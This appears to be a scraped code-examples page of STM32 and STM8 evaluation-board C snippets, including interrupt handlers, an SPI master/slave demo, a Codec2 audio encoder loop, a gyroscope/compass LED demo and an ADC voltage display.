/* Function called by SysTick_Handler()  */
void update_temporized_LED(Led_TypeDef Led)
{
	BlueLED_counter--;
	if (BlueLED_counter == 0) STM_EVAL_LEDOff(LED_Blue);
}
Beispiel #2
0
/**
  * @brief  This function handles External lines 15 to 10 interrupt request.
  * @param  None
  * @retval None
  */
void EXTI15_10_IRQHandler(void)
{   
  /* Checks whether the IOE EXTI line is asserted or not */
  if(EXTI_GetITStatus(IOE_IT_EXTI_LINE) != RESET)
  {
    
#ifdef IOE_INTERRUPT_MODE       
    /* Check if the interrupt source is the Touch Screen */
    if (IOE_GetGITStatus(IOE_1_ADDR, IOE_TS_IT) & IOE_TS_IT)
    {
      static TS_STATE* TS_State;
      
      /* Update the structure with the current position */
      TS_State = IOE_TS_GetState();  
      
      if ((TS_State->TouchDetected) && (TS_State->Y < 220) && (TS_State->Y > 180))
      {
        if ((TS_State->X > 10) && (TS_State->X < 70))
        {
          LCD_DisplayStringLine(Line6, " LD4                ");
          STM_EVAL_LEDOn(LED4);
        }
        else if ((TS_State->X > 90) && (TS_State->X < 150))
        {
          LCD_DisplayStringLine(Line6, "      LD3           ");
          STM_EVAL_LEDOn(LED3);
        }
        else if ((TS_State->X > 170) && (TS_State->X < 230))
        {
          LCD_DisplayStringLine(Line6, "           LD2      ");
          STM_EVAL_LEDOn(LED2);
        }     
        else if ((TS_State->X > 250) && (TS_State->X < 310))
        {
          LCD_DisplayStringLine(Line6, "                LD1 ");
          STM_EVAL_LEDOn(LED1);
        }
      }
      else
      {
        STM_EVAL_LEDOff(LED1);
        STM_EVAL_LEDOff(LED2);
        STM_EVAL_LEDOff(LED3);
        STM_EVAL_LEDOff(LED4);
      }    
      
      /* Clear the interrupt pending bits */    
      IOE_ClearGITPending(IOE_1_ADDR, IOE_TS_IT);      
    }
 #ifdef USE_STM3210C_EVAL 
    else if (IOE_GetGITStatus(IOE_2_ADDR, IOE_GIT_GPIO))
    {
      static JOY_State_TypeDef JoyState = JOY_NONE;
      
      /* Get the Joytick State */
      JoyState = IOE_JoyStickGetState();
      
      switch (JoyState)
      {
      case JOY_NONE:
        LCD_DisplayStringLine(Line5, "JOY: IT  ----       ");
        break;
      case JOY_UP:
        LCD_DisplayStringLine(Line5, "JOY: IT  UP         ");
        break;     
      case JOY_DOWN:
        LCD_DisplayStringLine(Line5, "JOY: IT DOWN        ");
        break;          
      case JOY_LEFT:
        LCD_DisplayStringLine(Line5, "JOY: IT LEFT        ");
        break;         
      case JOY_RIGHT:
        LCD_DisplayStringLine(Line5, "JOY: IT  RIGHT      ");
        break;                 
      case JOY_CENTER:
        LCD_DisplayStringLine(Line5, "JOY: IT CENTER      ");
        break; 
      default:
        LCD_DisplayStringLine(Line5, "JOY: IT ERROR       ");
        break;         
      }   
      
      /* Clear the interrupt pending bits */    
      IOE_ClearGITPending(IOE_2_ADDR, IOE_GIT_GPIO);
      IOE_ClearIOITPending(IOE_2_ADDR, IOE_JOY_IT);     
    }
    /* CLear all pending interrupt */
    IOE_ClearGITPending(IOE_2_ADDR, ALL_IT);
    IOE_ClearIOITPending(IOE_2_ADDR, IOE_JOY_IT);    
 #endif /* USE_STM3210C_EVAL */
    
    /* CLear all pending interrupt */
    IOE_ClearGITPending(IOE_1_ADDR, ALL_IT);
    
#endif /* IOE_INTERRUPT_MODE */
    
    EXTI_ClearITPendingBit(IOE_IT_EXTI_LINE);
  }  
}
Beispiel #3
0
/**
  * @brief  Main program.
  * @param  None
  * @retval None
*/
int main(void)
{
  /* Initialize LEDS */
  /* Red Led On: buffer overflow */
  STM_EVAL_LEDInit(LED3);
  /* Green Led On: fdmdv+codec2 enabled */
  STM_EVAL_LEDInit(LED4);
  STM_EVAL_LEDInit(LED5);
  /* Blue Led On: start of application */
  STM_EVAL_LEDInit(LED6);

  STM_EVAL_LEDOn(LED6);

  /* transparent mode switcher */
  STM_EVAL_PBInit(BUTTON_USER, BUTTON_MODE_EXTI);

  if(Transparent_mode)
	  STM_EVAL_LEDOff(LED4);
  else
	  STM_EVAL_LEDOn(LED4);

  /* SysTick end of count event each 10ms */
  RCC_GetClocksFreq(&RCC_Clocks);
  SysTick_Config(RCC_Clocks.HCLK_Frequency / 100);

  USART_InitTypeDef USART_InitStructure;
  USART_InitStructure.USART_BaudRate = 115200;
  USART_InitStructure.USART_WordLength = USART_WordLength_8b;
  USART_InitStructure.USART_StopBits = USART_StopBits_1;
  USART_InitStructure.USART_Parity = USART_Parity_No;
  USART_InitStructure.USART_HardwareFlowControl = USART_HardwareFlowControl_None;
  USART_InitStructure.USART_Mode = USART_Mode_Rx | USART_Mode_Tx;
  STM_EVAL_USART2Init(&USART_InitStructure);

  // turn off buffers, so IO occurs immediately
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  setvbuf(stderr, NULL, _IONBF, 0);

  /* Output a message on Hyperterminal using printf function */
  printf("\r\nFloating-Point Based Codec2 encoder for Cortex-M4F\r\n");
  /* Configure TIM4 Peripheral to manage LEDs lighting */

  unsigned int idx = 0;
  Time_Rec_Base=0;
  int i, buffId;

  codec2_initialize_all(SPEAKER_FREQ == 48000 ? 1 : 0);

  /* fill output fifo */
  fifoBufferFullness=0;
  fifoBufferCurrent=0;
  Switch = 0;

  /* modulate silence once for padding if happens */
  memset(padBuffer, 0x00, (320*(SPEAKER_FREQ/MIC_FREQ)*2)*sizeof(short));
  memset(fifoBuffer, 0x00, MODULATOR_QUEUE_SIZE * (SPEAKER_FREQ/MIC_FREQ)*320*2*sizeof(short));
  //codec2_modulate((short *) padBuffer, (short *) padBuffer, Transparent_mode);

  /* Initialize I2S interface */
  EVAL_AUDIO_SetAudioInterface(AUDIO_INTERFACE_I2S);
  /* Initialize the Audio codec and all related peripherals (I2S, I2C, IOExpander, IOs...) */
  //EVAL_AUDIO_Init(OUTPUT_DEVICE_AUTO, 0, SPEAKER_FREQ);
  EVAL_AUDIO_Init(OUTPUT_DEVICE_AUTO, 0, SPEAKER_FREQ);
  EVAL_AUDIO_PauseResume(AUDIO_PAUSE);
  Audio_MAL_Play((uint32_t) padBuffer, (320*(SPEAKER_FREQ/MIC_FREQ))*2*sizeof(short));
  EVAL_AUDIO_PauseResume(AUDIO_RESUME);

  /* Start the record */
  MicListenerInit(32000,16, 1);
  MicListenerStart(RecBuf_8Khz, PCM_OUT_SIZE);

  /* GLOBAL SCHEDULER
   * DO NOT USE LOOPS INSIDE IT!
   * */
  while(1) {
	  /* we have frame from mike */
	  if(Data_Status == 0)
		  continue;

	  /* Switch the buffers*/
	  if (Switch ==1) {
		pAudioRecBuf_8Khz = RecBuf_8Khz;
		writebuffer = RecBuf1_8Khz;
		Switch = 0;
	  } else {
		pAudioRecBuf_8Khz = RecBuf1_8Khz;
		writebuffer = RecBuf_8Khz;
		Switch = 1;
	  }

#ifdef USE_ST_FILTER
	  //Downsampling 16Khz => 8Khz (this is input for codec, it sampled with 8KHz)
	  for(i=0; i<320; i++)
	      writebuffer[i] = writebuffer[2*i];
#endif

	  //TODO: modulate, even if no data from mike!
	  if(fifoBufferFullness < MODULATOR_QUEUE_SIZE-1) {
		  /* get the next free buffer */
		  buffId = fifoBufferCurrent + fifoBufferFullness;
		  if(buffId >= MODULATOR_QUEUE_SIZE) buffId -= MODULATOR_QUEUE_SIZE;
		  assert(buffId >= 0 && buffId < MODULATOR_QUEUE_SIZE);
		  codec2_modulate((short *) writebuffer, (short *) fifoBuffer[buffId], Transparent_mode);
		  fifoBufferFullness++;
		  if(idx % 32 == 0) printf(".");
		  if(idx % (32*32) == 0) printf("\r\n");

		  /* this is hack to remove loud noise at startup */
		  if(volume_set==1) {
			  STM_EVAL_LEDOff(LED3);
			  EVAL_AUDIO_VolumeCtl(90);
			  volume_set=2;
		  }
	  } else {
		  STM_EVAL_LEDToggle(LED3);
		  printf("x");
		  if(idx % (32) == 0) printf("\r\n");
	  }

	  idx++;
      Data_Status = 0;
  }

  EVAL_AUDIO_Mute(AUDIO_MUTE_ON);
  EVAL_AUDIO_Stop(CODEC_PDWN_HW);
  MicListenerStop();

  //float samples_time = idx*samplesPerFrame/((float) WAVE_Format.NumChannels*WAVE_Format.SampleRate);
#if 0
  float samples_time = idx*mod->samplesPerFrame/((float) 1*MIC_FREQ);
  float cpu_time = Time_Rec_Base/((float ) 100);
  printf("\r\n%8.3f s audio file encoded in %8.3f s\r\n", (double) samples_time, (double) cpu_time);
#endif
  while(1) {
	STM_EVAL_LEDToggle(LED5);
    Delay(10);
  }
}
/**
  * @brief  Main program
  * @param  None
  * @retval None
  */
int main(void)
{
  /*!< At this stage the microcontroller clock setting is already configured,
       this is done through SystemInit() function which is called from startup
       file (startup_stm32l1xx_xx.s) before to branch to application main.
       To reconfigure the default setting of SystemInit() function, refer to
       system_stm32l1xx.c file
     */

  /* SPI configuration ------------------------------------------------------*/
  SPI_Config();

  /* SysTick configuration ---------------------------------------------------*/
  SysTickConfig();

  /* Initialize LEDs mounted on STM32L152-EVAL board */
  STM_EVAL_LEDInit(LED1);
  STM_EVAL_LEDInit(LED2);
  STM_EVAL_LEDInit(LED3);
  STM_EVAL_LEDInit(LED4);

  /* Master board configuration ------------------------------------------------*/
#ifdef SPI_MASTER
  /* Initialize push-buttons mounted on STM32L152-EVAL board */
  STM_EVAL_PBInit(BUTTON_RIGHT, BUTTON_MODE_GPIO);
  STM_EVAL_PBInit(BUTTON_LEFT, BUTTON_MODE_GPIO);
  STM_EVAL_PBInit(BUTTON_UP, BUTTON_MODE_GPIO);
  STM_EVAL_PBInit(BUTTON_DOWN, BUTTON_MODE_GPIO);
  STM_EVAL_PBInit(BUTTON_SEL, BUTTON_MODE_GPIO);

  /* Initializes the SPI communication */
  SPI_InitStructure.SPI_Mode = SPI_Mode_Master;
  SPI_Init(SPIx, &SPI_InitStructure);

  /* Enable the Rx buffer not empty interrupt */
  SPI_I2S_ITConfig(SPIx, SPI_I2S_IT_RXNE, ENABLE);
  /* Enable the SPI Error interrupt */
  SPI_I2S_ITConfig(SPIx, SPI_I2S_IT_ERR, ENABLE);
  /* Data transfer is performed in the SPI interrupt routine */
  /* Enable the SPI peripheral */
  SPI_Cmd(SPIx, ENABLE);

  while (1)
  {
    CmdTransmitted = 0x00;
    CmdReceived = 0x00;
    CmdStatus = 0x00;
    Tx_Idx = 0x00;
    Rx_Idx = 0x00;

    /* Clear the RxBuffer */
    Fill_Buffer(RxBuffer, TXBUFFERSIZE);
    PressedButton = Read_Joystick();
    
    while (PressedButton == JOY_NONE)
    {
      PressedButton = Read_Joystick();
    }
    switch (PressedButton)
    {
      /* JOY_RIGHT button pressed */
      case JOY_RIGHT:
        CmdTransmitted = CMD_RIGHT;
        NumberOfByte = CMD_RIGHT_SIZE;
        break;
      /* JOY_LEFT button pressed */ 
      case JOY_LEFT:
        CmdTransmitted = CMD_LEFT;
        NumberOfByte = CMD_LEFT_SIZE;
        break;
      /* JOY_UP button pressed */
      case JOY_UP:
        CmdTransmitted = CMD_UP;
        NumberOfByte = CMD_UP_SIZE;
        break;
      /* JOY_DOWN button pressed */
      case JOY_DOWN:
        CmdTransmitted = CMD_DOWN;
        NumberOfByte = CMD_DOWN_SIZE;
        break;
      /* JOY_SEL button pressed */
      case JOY_SEL:
        CmdTransmitted = CMD_SEL;
        NumberOfByte = CMD_SEL_SIZE;
        break;
      default:
        break;
    }
    
   if (CmdTransmitted != 0x00)
    {
      /* Enable the Tx buffer empty interrupt */
      SPI_I2S_ITConfig(SPIx, SPI_I2S_IT_TXE, ENABLE);

      /* Wait until end of data transfer or time out*/
      TimeOut = USER_TIMEOUT;
      while ((Rx_Idx < GetVar_NbrOfData())&&(TimeOut != 0x00))
      {}
      if(TimeOut == 0)
      {
        TimeOut_UserCallback();
      } 
    }
    switch (Rx_Idx)
    {
      /* Right button pressed */
      case CMD_RIGHT_SIZE:
        if ((Buffercmp(TxBuffer, RxBuffer, CMD_RIGHT_SIZE) == PASSED) && (CmdReceived == CMD_ACK))
        {
          /* Turn ON LED2 and LED3 */
          STM_EVAL_LEDOn(LED2);
          STM_EVAL_LEDOn(LED3);
          /* Turn all other LEDs off */
          STM_EVAL_LEDOff(LED4);
        }
        break;
      /* Left button pressed*/
      case CMD_LEFT_SIZE:
        if ((Buffercmp(TxBuffer, RxBuffer, CMD_LEFT_SIZE) == PASSED) && (CmdReceived == CMD_ACK))
        {
          /* Turn ON LED4 */
          STM_EVAL_LEDOn(LED4);
          /* Turn all other LEDs off */
          STM_EVAL_LEDOff(LED2);
          STM_EVAL_LEDOff(LED3);
        }
        break;
      /* Up button pressed */
      case CMD_UP_SIZE:
        if ((Buffercmp(TxBuffer, RxBuffer, CMD_UP_SIZE) == PASSED) && (CmdReceived == CMD_ACK))
        {
          /* Turn ON LED2 */
          STM_EVAL_LEDOn(LED2);
          /* Turn all other LEDs off */
          STM_EVAL_LEDOff(LED3);
          STM_EVAL_LEDOff(LED4);
        }
        break;
      /* Down button pressed */
      case CMD_DOWN_SIZE:
        if ((Buffercmp(TxBuffer, RxBuffer, CMD_DOWN_SIZE) == PASSED) && (CmdReceived == CMD_ACK))
        {
          /* Turn ON LED3 */
          STM_EVAL_LEDOn(LED3);
          /* Turn all other LEDs off */
          STM_EVAL_LEDOff(LED2);
          STM_EVAL_LEDOff(LED4);
        }
        break;
      /* Sel button pressed */
      case CMD_SEL_SIZE:
        if ((Buffercmp(TxBuffer, RxBuffer, CMD_SEL_SIZE) == PASSED) && (CmdReceived == CMD_ACK))
        {
          /* Turn ON all LEDs */
          STM_EVAL_LEDOn(LED2);
          STM_EVAL_LEDOn(LED3);
          STM_EVAL_LEDOn(LED4);
        }
        break;
      default:
        break;
    }

  }
#endif /* SPI_MASTER */

  /* Slave board configuration ----------------------------------------------*/
#ifdef SPI_SLAVE
  /* Initializes the SPI communication */
  SPI_I2S_DeInit(SPIx);
  SPI_InitStructure.SPI_Mode = SPI_Mode_Slave;
  SPI_Init(SPIx, &SPI_InitStructure);

  /* Enable the Rx buffer not empty interrupt */
  SPI_I2S_ITConfig(SPIx, SPI_I2S_IT_RXNE, ENABLE);
  /* Enable the SPI Error interrupt */
  SPI_I2S_ITConfig(SPIx, SPI_I2S_IT_ERR, ENABLE);

  /* Enable the SPI peripheral */
  SPI_Cmd(SPIx, ENABLE);

  /* Infinite Loop */
  while (1)
  {
    CmdStatus = 0x00;
    CmdReceived = 0x00;
    Rx_Idx = 0x00;
    Tx_Idx = 0x00;
    /* Write the first data in SPI shift register before enabling the interrupt
       this data will be transmitted when the Slave receive the generated clock
       by the Master */
    
    /* Enable the Tx buffer empty interrupt */
    SPI_I2S_SendData(SPIx, CMD_ACK);
    SPI_I2S_ITConfig(SPIx, SPI_I2S_IT_TXE, ENABLE);
    
     
    /* Waiting Transaction code Byte */
    while (CmdStatus == 0x00)
    {}
    
    switch (CmdReceived)
    {
      /* CMD_RIGHT command received or time out*/
      case CMD_RIGHT:
        TimeOut = USER_TIMEOUT;
        while ((Rx_Idx < CMD_RIGHT_SIZE)&&(TimeOut != 0x00))
        {}
        if(TimeOut == 0)
        {
          TimeOut_UserCallback();
        }   
        if (Buffercmp(TxBuffer, RxBuffer, CMD_RIGHT_SIZE) != FAILED) 
        {
          /* Turn ON LED2 and LED3 */
          STM_EVAL_LEDOn(LED2);
          STM_EVAL_LEDOn(LED3);
          /* Turn OFF LED4 */
          STM_EVAL_LEDOff(LED4);
        }
        break;
      /* CMD_LEFT command received or time out */
      case CMD_LEFT:
        TimeOut = USER_TIMEOUT;
        while ((Rx_Idx < CMD_LEFT_SIZE)&&(TimeOut != 0x00))
        {}
         if(TimeOut == 0)
         {
           TimeOut_UserCallback();
         }  
        if (Buffercmp(TxBuffer, RxBuffer, CMD_LEFT_SIZE) != FAILED)
        {
          /* Turn ON LED4 */
          STM_EVAL_LEDOn(LED4);
          /* Turn OFF LED2 and LED3 */
          STM_EVAL_LEDOff(LED2);
          STM_EVAL_LEDOff(LED3);
        }
        break;
      /* CMD_UP command received or time out*/
      case CMD_UP:
        TimeOut = USER_TIMEOUT;
        while ((Rx_Idx < CMD_UP_SIZE)&&(TimeOut != 0x00))
        {}
        if(TimeOut == 0)
        {
          TimeOut_UserCallback();
        }
        if (Buffercmp(TxBuffer, RxBuffer, CMD_UP_SIZE) != FAILED)
        {
          /* Turn ON LED2 */
          STM_EVAL_LEDOn(LED2);
          /* Turn OFF LED3 and LED4 */
          STM_EVAL_LEDOff(LED3);
          STM_EVAL_LEDOff(LED4);
        }
        break;
      /* CMD_DOWN command received or time out */
      case CMD_DOWN:
        TimeOut = USER_TIMEOUT;
        while ((Rx_Idx < CMD_DOWN_SIZE)&&(TimeOut != 0x00))
        {}
        if(TimeOut == 0)
        {
          TimeOut_UserCallback();
        }
        if (Buffercmp(TxBuffer, RxBuffer, CMD_DOWN_SIZE) != FAILED)
        {
          /* Turn ON LED3 */
          STM_EVAL_LEDOn(LED3);
          /* Turn OFF LED2 and LED4 */
          STM_EVAL_LEDOff(LED2);
          STM_EVAL_LEDOff(LED4);
        }
        break;
      /* CMD_SEL command received or time out */
      case CMD_SEL:
        TimeOut = USER_TIMEOUT;
        while ((Rx_Idx < CMD_SEL_SIZE)&&(TimeOut != 0x00))
        {}
        if(TimeOut == 0)
        {
          TimeOut_UserCallback();
        }
        if (Buffercmp(TxBuffer, RxBuffer, CMD_SEL_SIZE) != FAILED)
        {
          /* Turn ON LED2, LED3 and LED4 */
          STM_EVAL_LEDOn(LED2);
          STM_EVAL_LEDOn(LED3);
          STM_EVAL_LEDOn(LED4);
        }
        break;
      default:
        break;   
    }
    /* Disable the Tx buffer empty interrupt */
    SPI_I2S_ITConfig(SPIx, SPI_I2S_IT_TXE, DISABLE);
  }
#endif /* SPI_SLAVE */
}
Beispiel #5
0
/**
  * @brief  Main program.
  * @param  None 
  * @retval None
  */
int main(void)
{  
  uint8_t i = 0;
  /* SysTick end of count event each 10ms */
  RCC_GetClocksFreq(&RCC_Clocks);
 SysTick_Config(RCC_Clocks.HCLK_Frequency / 100);
  
  /* Initialize LEDs and User Button available on STM32F3-Discovery board */
  STM_EVAL_LEDInit(LED3);
  STM_EVAL_LEDInit(LED4);
  STM_EVAL_LEDInit(LED5);
  STM_EVAL_LEDInit(LED6);
  STM_EVAL_LEDInit(LED7);
  STM_EVAL_LEDInit(LED8);
  STM_EVAL_LEDInit(LED9);
  STM_EVAL_LEDInit(LED10);
  
  STM_EVAL_PBInit(BUTTON_USER, BUTTON_MODE_EXTI); 

  /* Configure the USB */
  //Demo_USB();
  
  /* Reset UserButton_Pressed variable */
  UserButtonPressed = 0x00; 
   
  /* Infinite loop */
  while (1)
  {   
    /* LEDs Off */
    STM_EVAL_LEDOff(LED3);
    STM_EVAL_LEDOff(LED6);
    STM_EVAL_LEDOff(LED7);
    STM_EVAL_LEDOff(LED4);
    STM_EVAL_LEDOff(LED10);
    STM_EVAL_LEDOff(LED8);
    STM_EVAL_LEDOff(LED9);
    STM_EVAL_LEDOff(LED5);
    
    /* Waiting User Button is pressed */
    while (UserButtonPressed == 0x00)
    {
      /* Toggle LD3 */
      STM_EVAL_LEDToggle(LED3);
      /* Insert 50 ms delay */
      Delay(5);
      /* Toggle LD5 */
      STM_EVAL_LEDToggle(LED5);
      /* Insert 50 ms delay */
      Delay(5);
      /* Toggle LD7 */
      STM_EVAL_LEDToggle(LED7);
      /* Insert 50 ms delay */
      Delay(5);
      /* Toggle LD9 */
      STM_EVAL_LEDToggle(LED9);
      /* Insert 50 ms delay */
      Delay(5);
      /* Toggle LD10 */
      STM_EVAL_LEDToggle(LED10);
      /* Insert 50 ms delay */
      Delay(5);
      /* Toggle LD8 */
      STM_EVAL_LEDToggle(LED8);
      /* Insert 50 ms delay */
      Delay(5); 
      /* Toggle LD6 */
      STM_EVAL_LEDToggle(LED6);
      /* Insert 50 ms delay */
      Delay(5);
      /* Toggle LD4 */
      STM_EVAL_LEDToggle(LED4);
      /* Insert 50 ms delay */
      Delay(5);
    }
    
    DataReady = 0x00;
    
    /* All LEDs Off */
    STM_EVAL_LEDOff(LED3);
    STM_EVAL_LEDOff(LED6);
    STM_EVAL_LEDOff(LED7);
    STM_EVAL_LEDOff(LED4);
    STM_EVAL_LEDOff(LED10);
    STM_EVAL_LEDOff(LED8);
    STM_EVAL_LEDOff(LED9);
    STM_EVAL_LEDOff(LED5); 
    
    /* Demo Gyroscope */
   // Demo_GyroConfig();

    /* Waiting User Button is pressed */
    while (UserButtonPressed == 0x01)
    {
      /* Wait for data ready */
      while(DataReady != 0x05)
      {}
      DataReady = 0x00;
      
      /* LEDs Off */
      STM_EVAL_LEDOff(LED3);
      STM_EVAL_LEDOff(LED6);
      STM_EVAL_LEDOff(LED7);
      STM_EVAL_LEDOff(LED4);
      STM_EVAL_LEDOff(LED10);
      STM_EVAL_LEDOff(LED8);
      STM_EVAL_LEDOff(LED9);
      STM_EVAL_LEDOff(LED5);
      
      /* Read Gyro Angular data */
      Demo_GyroReadAngRate(Buffer);
         
      /* Update autoreload and capture compare registers value*/
      Xval = ABS((int8_t)(Buffer[0]));
      Yval = ABS((int8_t)(Buffer[1])); 
      
      if ( Xval>Yval)
      {
        if ((int8_t)Buffer[0] > 5.0f)
        { 
          /* LD10 On */
          STM_EVAL_LEDOn(LED10);
        }
        if ((int8_t)Buffer[0] < -5.0f)
        { 
          /* LD3 On */
          STM_EVAL_LEDOn(LED3);
        }
      }
      else
      {
        if ((int8_t)Buffer[1] < -5.0f)
        {
          /* LD6 on */
          STM_EVAL_LEDOn(LED6);
        }
        if ((int8_t)Buffer[1] > 5.0f)
        {
          /* LD7 On */
          STM_EVAL_LEDOn(LED7);
        } 
      }
    }
        
    DataReady = 0x00;
    
    /* LEDs Off */
    STM_EVAL_LEDOff(LED4);
    STM_EVAL_LEDOff(LED3);
    STM_EVAL_LEDOff(LED6);
    STM_EVAL_LEDOff(LED7);
    STM_EVAL_LEDOff(LED10);
    STM_EVAL_LEDOff(LED8);
    STM_EVAL_LEDOff(LED9);
    STM_EVAL_LEDOff(LED5);
    
    /* Demo Compass */
    Demo_CompassConfig();
    
    /* Waiting User Button is pressed */
    while (UserButtonPressed == 0x02)
    {
      /* Wait for data ready */
      while(DataReady !=0x05)
      {}
      DataReady = 0x00;
      
      /* Read Compass data */
      Demo_CompassReadMag(MagBuffer);
      Demo_CompassReadAcc(AccBuffer);
      
      for(i=0;i<3;i++)
        AccBuffer[i] /= 100.0f;
      
      fNormAcc = sqrt((AccBuffer[0]*AccBuffer[0])+(AccBuffer[1]*AccBuffer[1])+(AccBuffer[2]*AccBuffer[2]));
      
      fSinRoll = -AccBuffer[1]/fNormAcc;
      fCosRoll = sqrt(1.0-(fSinRoll * fSinRoll));
      fSinPitch = AccBuffer[0]/fNormAcc;
      fCosPitch = sqrt(1.0-(fSinPitch * fSinPitch));
     if ( fSinRoll >0)
     {
       if (fCosRoll>0)
       {
         RollAng = acos(fCosRoll)*180/PI;
       }
       else
       {
         RollAng = acos(fCosRoll)*180/PI + 180;
       }
     }
     else
     {
       if (fCosRoll>0)
       {
         RollAng = acos(fCosRoll)*180/PI + 360;
       }
       else
       {
         RollAng = acos(fCosRoll)*180/PI + 180;
       }
     }
     
      if ( fSinPitch >0)
     {
       if (fCosPitch>0)
       {
            PitchAng = acos(fCosPitch)*180/PI;
       }
       else
       {
          PitchAng = acos(fCosPitch)*180/PI + 180;
       }
     }
     else
     {
       if (fCosPitch>0)
       {
            PitchAng = acos(fCosPitch)*180/PI + 360;
       }
       else
       {
          PitchAng = acos(fCosPitch)*180/PI + 180;
       }
     }

      if (RollAng >=360)
      {
        RollAng = RollAng - 360;
      }
      
      if (PitchAng >=360)
      {
        PitchAng = PitchAng - 360;
      }
      
      fTiltedX = MagBuffer[0]*fCosPitch+MagBuffer[2]*fSinPitch;
      fTiltedY = MagBuffer[0]*fSinRoll*fSinPitch+MagBuffer[1]*fCosRoll-MagBuffer[1]*fSinRoll*fCosPitch;
      
      HeadingValue = (float) ((atan2f((float)fTiltedY,(float)fTiltedX))*180)/PI;
 
      if (HeadingValue < 0)
      {
        HeadingValue = HeadingValue + 360;    
      }
      
      if ((RollAng <= 40.0f) && (PitchAng <= 40.0f))
      {
        if (((HeadingValue < 25.0f)&&(HeadingValue >= 0.0f))||((HeadingValue >=340.0f)&&(HeadingValue <= 360.0f)))
        {
          STM_EVAL_LEDOn(LED10);
          STM_EVAL_LEDOff(LED3);
          STM_EVAL_LEDOff(LED6);
          STM_EVAL_LEDOff(LED7);
          STM_EVAL_LEDOff(LED4);
          STM_EVAL_LEDOff(LED8);
          STM_EVAL_LEDOff(LED9);
          STM_EVAL_LEDOff(LED5);
        }
        else  if ((HeadingValue <70.0f)&&(HeadingValue >= 25.0f))
        {
          STM_EVAL_LEDOn(LED9);
          STM_EVAL_LEDOff(LED6);
          STM_EVAL_LEDOff(LED10);
          STM_EVAL_LEDOff(LED3);
          STM_EVAL_LEDOff(LED8);
          STM_EVAL_LEDOff(LED5);
          STM_EVAL_LEDOff(LED4);
          STM_EVAL_LEDOff(LED7);
        } 
        else  if ((HeadingValue < 115.0f)&&(HeadingValue >= 70.0f))
        {
          STM_EVAL_LEDOn(LED7);
          STM_EVAL_LEDOff(LED3);
          STM_EVAL_LEDOff(LED4);
          STM_EVAL_LEDOff(LED9);
          STM_EVAL_LEDOff(LED10);
          STM_EVAL_LEDOff(LED8);
          STM_EVAL_LEDOff(LED6);
          STM_EVAL_LEDOff(LED5);
        }
        else  if ((HeadingValue <160.0f)&&(HeadingValue >= 115.0f))
        {
          STM_EVAL_LEDOn(LED5);
          STM_EVAL_LEDOff(LED6);
          STM_EVAL_LEDOff(LED10);
          STM_EVAL_LEDOff(LED8);
          STM_EVAL_LEDOff(LED9);
          STM_EVAL_LEDOff(LED7);
          STM_EVAL_LEDOff(LED4);
          STM_EVAL_LEDOff(LED3);
        } 
        else  if ((HeadingValue <205.0f)&&(HeadingValue >= 160.0f))
        {
          STM_EVAL_LEDOn(LED3);
          STM_EVAL_LEDOff(LED6);
          STM_EVAL_LEDOff(LED4);
          STM_EVAL_LEDOff(LED8);
          STM_EVAL_LEDOff(LED9);
          STM_EVAL_LEDOff(LED5);
          STM_EVAL_LEDOff(LED10);
          STM_EVAL_LEDOff(LED7);
        } 
        else  if ((HeadingValue <250.0f)&&(HeadingValue >= 205.0f))
        {
          STM_EVAL_LEDOn(LED4);
          STM_EVAL_LEDOff(LED6);
          STM_EVAL_LEDOff(LED10);
          STM_EVAL_LEDOff(LED8);
          STM_EVAL_LEDOff(LED9);
          STM_EVAL_LEDOff(LED5);
          STM_EVAL_LEDOff(LED3);
          STM_EVAL_LEDOff(LED7);
        } 
        else  if ((HeadingValue < 295.0f)&&(HeadingValue >= 250.0f))
        {
          STM_EVAL_LEDOn(LED6);
          STM_EVAL_LEDOff(LED9);
          STM_EVAL_LEDOff(LED10);
          STM_EVAL_LEDOff(LED8);
          STM_EVAL_LEDOff(LED3);
          STM_EVAL_LEDOff(LED5);
          STM_EVAL_LEDOff(LED4);
          STM_EVAL_LEDOff(LED7);
        }        
        else  if ((HeadingValue < 340.0f)&&(HeadingValue >= 295.0f))
        {
          STM_EVAL_LEDOn(LED8);
          STM_EVAL_LEDOff(LED6);
          STM_EVAL_LEDOff(LED10);
          STM_EVAL_LEDOff(LED7);
          STM_EVAL_LEDOff(LED9);
          STM_EVAL_LEDOff(LED3);
          STM_EVAL_LEDOff(LED4);
          STM_EVAL_LEDOff(LED5);
        }
      }
      else
      {
        /* Toggle All LEDs */
        STM_EVAL_LEDToggle(LED7);
        STM_EVAL_LEDToggle(LED6);
        STM_EVAL_LEDToggle(LED10);
        STM_EVAL_LEDToggle(LED8);
        STM_EVAL_LEDToggle(LED9);
        STM_EVAL_LEDToggle(LED3);
        STM_EVAL_LEDToggle(LED4);
        STM_EVAL_LEDToggle(LED5);
        /* Delay 50ms */
        Delay(5);
      }
    }
  }
}
Beispiel #6
0
//---------------------------------------------------------------------------
void action_ButtonReleased3(void)
{
	STM_EVAL_LEDOff(LED_Blue);
}
Beispiel #7
0
/**
  * @brief  Main program.
  * @param  None
  * @retval None
  */
void main(void)
{
    uint16_t voltage = 0;

    /* Init the Eval board LCD */
    STM8_EVAL_LCD_Init();

    /* Clear LCD */
    LCD_Clear();

    /* Print "RV ADC Voltage" on LCD line1*/
    LCD_SetCursorPos(LCD_LINE1, 0);
    LCD_Print("RV ADC Voltage");

    /* ADC configuration -------------------------------------------*/
    ADC_Config();

    /* Init Leds */
    STM_EVAL_LEDInit(LED1);
    STM_EVAL_LEDInit(LED3);
    STM_EVAL_LEDInit(LED4);

    /* Infinite loop*/
    while (1)
    {
        ADCSavedData = ADCData;
        while (ADC_GetFlagStatus(ADC1, ADC_FLAG_EOC) == RESET);
        ADCData = ADC_GetConversionValue(ADC1);

        if (ADCSavedData != ADCData)
        {
            /* Calculate voltage value*/
            voltage = (uint16_t)(((uint32_t)ADCData * (uint32_t)ADC_RATIO) / (uint32_t)1000);

            /* Display voltage value on LCD*/
            ShowVoltage(voltage);
            STM_EVAL_LEDOff(LED1);

            /* LED4 is On only if ADC converted data is higher
               than High Analog watchdog Threshold */
            if (ADCData >= HighThresholdData)
            {
                STM_EVAL_LEDOn(LED4);
                LCDString[14] = '<';
            }
            else
            {
                STM_EVAL_LEDOff(LED4);
                LCDString[14] = ' ';
            }

            /* LED3 is On only if ADC converted data is lower
              than Low Analog watchdog Threshold */
            if (ADCData <= LowThresholdData)
            {
                STM_EVAL_LEDOn(LED3);
                LCDString[0] = '>';
            }
            else
            {
                STM_EVAL_LEDOff(LED3);
                LCDString[0] = ' ';
            }
        }
    }

}
Beispiel #8
0
/**
  * @brief   Main program.
  * @param  None
